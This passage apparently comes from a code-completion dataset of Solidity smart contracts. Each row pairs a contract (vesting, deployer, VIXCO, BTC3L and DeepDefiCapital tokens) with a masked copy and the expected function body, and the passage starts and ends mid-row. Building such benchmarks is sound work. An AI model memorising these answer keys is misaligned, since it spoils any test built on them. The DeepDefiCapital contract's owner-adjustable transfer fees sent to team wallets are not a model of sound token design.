_beneficiarys[i] = newaddr;
_beneficiary_total[newaddr] = _beneficiary_total[msg.sender];
_beneficiary_total[msg.sender] = 0;
_released[newaddr] = _released[msg.sender];
_released[msg.sender] = 0;
emit event_change_address(msg.sender,newaddr);
return;
}
}
}
}
} |
//require(_vestingaddr == msg.sender);
require(_beneficiarys.length == 0); //run once
require(address(token) != address(0));
require(total > 0);
require(beneficiarys.length == amounts.length);
_token = token;
_total = total;
uint256 all = 0;
for(uint256 i = 0 ; i < amounts.length; i++)
{
all = all.add(amounts[i]);
}
require(all == _total);
_beneficiarys = beneficiarys;
for(uint256 i = 0 ; i < _beneficiarys.length; i++)
{
_beneficiary_total[_beneficiarys[i]] = amounts[i];
_released[_beneficiarys[i]] = 0;
}
return true;
| function init(IERC20 token, uint256 total,address[] calldata beneficiarys,uint256[] calldata amounts) external onlyOwner returns(bool) | function init(IERC20 token, uint256 total,address[] calldata beneficiarys,uint256[] calldata amounts) external onlyOwner returns(bool) |
32543 | Deployer | null | contract Deployer {
IDeployer public immutable deployer;
constructor(IDeployer _deployer) public {<FILL_FUNCTION_BODY> }
event Deployed(address indexed sender, address indexed addr);
function deploy(bytes memory _initCode, bytes32 _salt) external returns (address payable createdContract) {
createdContract = deployer.deploy(_initCode, _salt);
require(createdContract != address(0), "Deploy failed");
emit Deployed(msg.sender, createdContract);
}
} | contract Deployer {
IDeployer public immutable deployer;
<FILL_FUNCTION>
event Deployed(address indexed sender, address indexed addr);
function deploy(bytes memory _initCode, bytes32 _salt) external returns (address payable createdContract) {
createdContract = deployer.deploy(_initCode, _salt);
require(createdContract != address(0), "Deploy failed");
emit Deployed(msg.sender, createdContract);
}
} |
// Use EIP-2470 SingletonFactory address by default
deployer = address(_deployer) == address(0) ? IDeployer(0xce0042B868300000d44A59004Da54A005ffdcf9f) : _deployer;
emit Deployed(tx.origin, address(this));
| constructor(IDeployer _deployer) public | constructor(IDeployer _deployer) public |
81878 | VIXCO | transfer | contract VIXCO is ERC223, ERC20 {
using SafeMath for uint256;
uint public constant _totalSupply = 21000000000e18;
//starting supply of Token
string public constant symbol = "VIXCO";
string public constant name = "VIXCO Coin";
uint8 public constant decimals = 18;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public{
balances[msg.sender] = _totalSupply;
emit Transfer(0x0, msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256 totalSup) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success){
require(
isContract(_to)
);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ERC223ReceivingContract(_to).tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function isContract(address _from) private view returns (bool) {
uint256 codeSize;
assembly {
codeSize := extcodesize(_from)
}
return codeSize > 0;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(
balances[_from] >= _value
&& _value > 0
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(
(_value == 0) || (allowed[msg.sender][_spender] == 0)
);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remain) {
return allowed[_owner][_spender];
}
function () public payable {
revert();
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Transfer(address indexed _from, address indexed _to, uint _value, bytes _data);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | contract VIXCO is ERC223, ERC20 {
using SafeMath for uint256;
uint public constant _totalSupply = 21000000000e18;
//starting supply of Token
string public constant symbol = "VIXCO";
string public constant name = "VIXCO Coin";
uint8 public constant decimals = 18;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public{
balances[msg.sender] = _totalSupply;
emit Transfer(0x0, msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256 totalSup) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
<FILL_FUNCTION>
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success){
require(
isContract(_to)
);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ERC223ReceivingContract(_to).tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function isContract(address _from) private view returns (bool) {
uint256 codeSize;
assembly {
codeSize := extcodesize(_from)
}
return codeSize > 0;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(
balances[_from] >= _value
&& _value > 0
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(
(_value == 0) || (allowed[msg.sender][_spender] == 0)
);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remain) {
return allowed[_owner][_spender];
}
function () public payable {
revert();
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Transfer(address indexed _from, address indexed _to, uint _value, bytes _data);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} |
require(
!isContract(_to)
);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
| function transfer(address _to, uint256 _value) public returns (bool success) | function transfer(address _to, uint256 _value) public returns (bool success) |
83218 | BTC3L | null | contract BTC3L is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract BTC3L is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
symbol = "BTC3L";
name = "BTC 3X Long Token";
decimals = 8;
_totalSupply = 10000000000000000;
balances[0x191f689678ccBfE8C2e2FbD6ffbFD75C76A94FEa] = _totalSupply;
emit Transfer(address(0), 0x191f689678ccBfE8C2e2FbD6ffbFD75C76A94FEa, _totalSupply);
| constructor() public | // ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public |
41074 | DeepDefiCapital | includeAccount | contract DeepDefiCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'DeepDefiCapital';
string private _symbol = 'DDC';
uint8 private _decimals = 9;
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _PrincipalProtectionWalletAddress;
address payable public _YieldFarmingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 1000000000000 * 10**9;
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable PrincipalProtectionWalletAddress, address payable YieldFarmingWalletAddress) public {
_PrincipalProtectionWalletAddress = PrincipalProtectionWalletAddress;
_YieldFarmingWalletAddress = YieldFarmingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {<FILL_FUNCTION_BODY> }
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_PrincipalProtectionWalletAddress.transfer(amount.div(2));
_YieldFarmingWalletAddress.transfer(amount.div(2));
}
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function BridgingSetMaxTx(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount <= 1000000000000 * 10**9, 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
} | contract DeepDefiCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'DeepDefiCapital';
string private _symbol = 'DDC';
uint8 private _decimals = 9;
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _PrincipalProtectionWalletAddress;
address payable public _YieldFarmingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 1000000000000 * 10**9;
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable PrincipalProtectionWalletAddress, address payable YieldFarmingWalletAddress) public {
_PrincipalProtectionWalletAddress = PrincipalProtectionWalletAddress;
_YieldFarmingWalletAddress = YieldFarmingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
<FILL_FUNCTION>
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
